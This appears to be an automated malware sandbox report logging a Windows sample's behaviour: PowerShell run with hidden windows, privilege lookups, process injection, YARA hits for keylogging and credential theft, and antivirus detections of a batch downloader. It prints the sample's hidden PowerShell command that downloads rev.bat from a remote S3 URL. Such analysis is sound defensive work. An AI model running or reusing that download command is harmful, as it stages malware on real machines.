NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 11, 2023, 9:59 a.m.	process_identifier: 1368 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell -WindowStyle Hidden -Command "Start-Sleep -Seconds 15"
cmdline	powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://fesad.s3.eu-north-1.amazonaws.com/rev.bat -OutFile C:\ProgramData\rev.bat"

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW July 11, 2023, 9:59 a.m.	thread_identifier: 1184 thread_handle: 0x00000088 process_identifier: 1368 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://fesad.s3.eu-north-1.amazonaws.com/rev.bat -OutFile C:\ProgramData\rev.bat" filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000084	1	1	0
CreateProcessInternalW July 11, 2023, 9:59 a.m.	thread_identifier: 2380 thread_handle: 0x00000088 process_identifier: 2384 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell -WindowStyle Hidden -Command "Start-Sleep -Seconds 15" filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1	0

File has been identified by 9 AntiVirus engines on VirusTotal as malicious (9 events)

FireEye	Dropped:Generic.BAT.Downloader.J.5A84A43E
ALYac	Dropped:Generic.BAT.Downloader.J.5A84A43E
Arcabit	Generic.BAT.Downloader.J.5A84A43E
BitDefender	Dropped:Generic.BAT.Downloader.J.5A84A43E
MicroWorld-eScan	Dropped:Generic.BAT.Downloader.J.5A84A43E
Emsisoft	Dropped:Generic.BAT.Downloader.J.5A84A43E (B)
VIPRE	Dropped:Generic.BAT.Downloader.J.5A84A43E
GData	Dropped:Generic.BAT.Downloader.J.5A84A43E
MAX	malware (ai score=84)

Checks for the Locally Unique Identifier on the system for a suspicious privilege (18 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeShutdownPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeCreateTokenPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeAssignPrimaryTokenPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeMachineAccountPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeTcbPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeSecurityPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeTakeOwnershipPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeLoadDriverPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeBackupPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeRestorePrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeShutdownPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeRemoteShutdownPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeEnableDelegationPrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeManageVolumePrivilege	1	1
LookupPrivilegeValueW July 11, 2023, 9:59 a.m.	system_name: privilege_name: SeCreateGlobalPrivilege	1	1

Yara rule detected in process memory (42 events)

description	Create a windows service	rule	Create_Service
description	Escalate priviledges	rule	Escalate_priviledges
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communications over P2P network	rule	Network_P2P_Win
description	Communication using DGA	rule	Network_DGA
description	Steal credential	rule	local_credential_Steal
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Escalate priviledges	rule	Escalate_priviledges
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Take ScreenShot	rule	ScreenShot
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	File Downloader	rule	Network_Downloader

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://fesad.s3.eu-north-1.amazonaws.com/rev.bat -OutFile C:\ProgramData\rev.bat"

Communicates with host for which no DNS query was performed (1 event)

host

185.157.162.126

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2172 resumed a thread in remote process 1704
NtResumeThread July 11, 2023, 9:59 a.m.	thread_handle: 0x00000090 suspend_count: 0 process_identifier: 1704	1	0	0

Creates a suspicious Powershell process (2 events)

option	-windowstyle hidden				value	Attempts to execute command with a hidden window
option	-windowstyle hidden				value	Attempts to execute command with a hidden window

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

SysdiagHelp.bat

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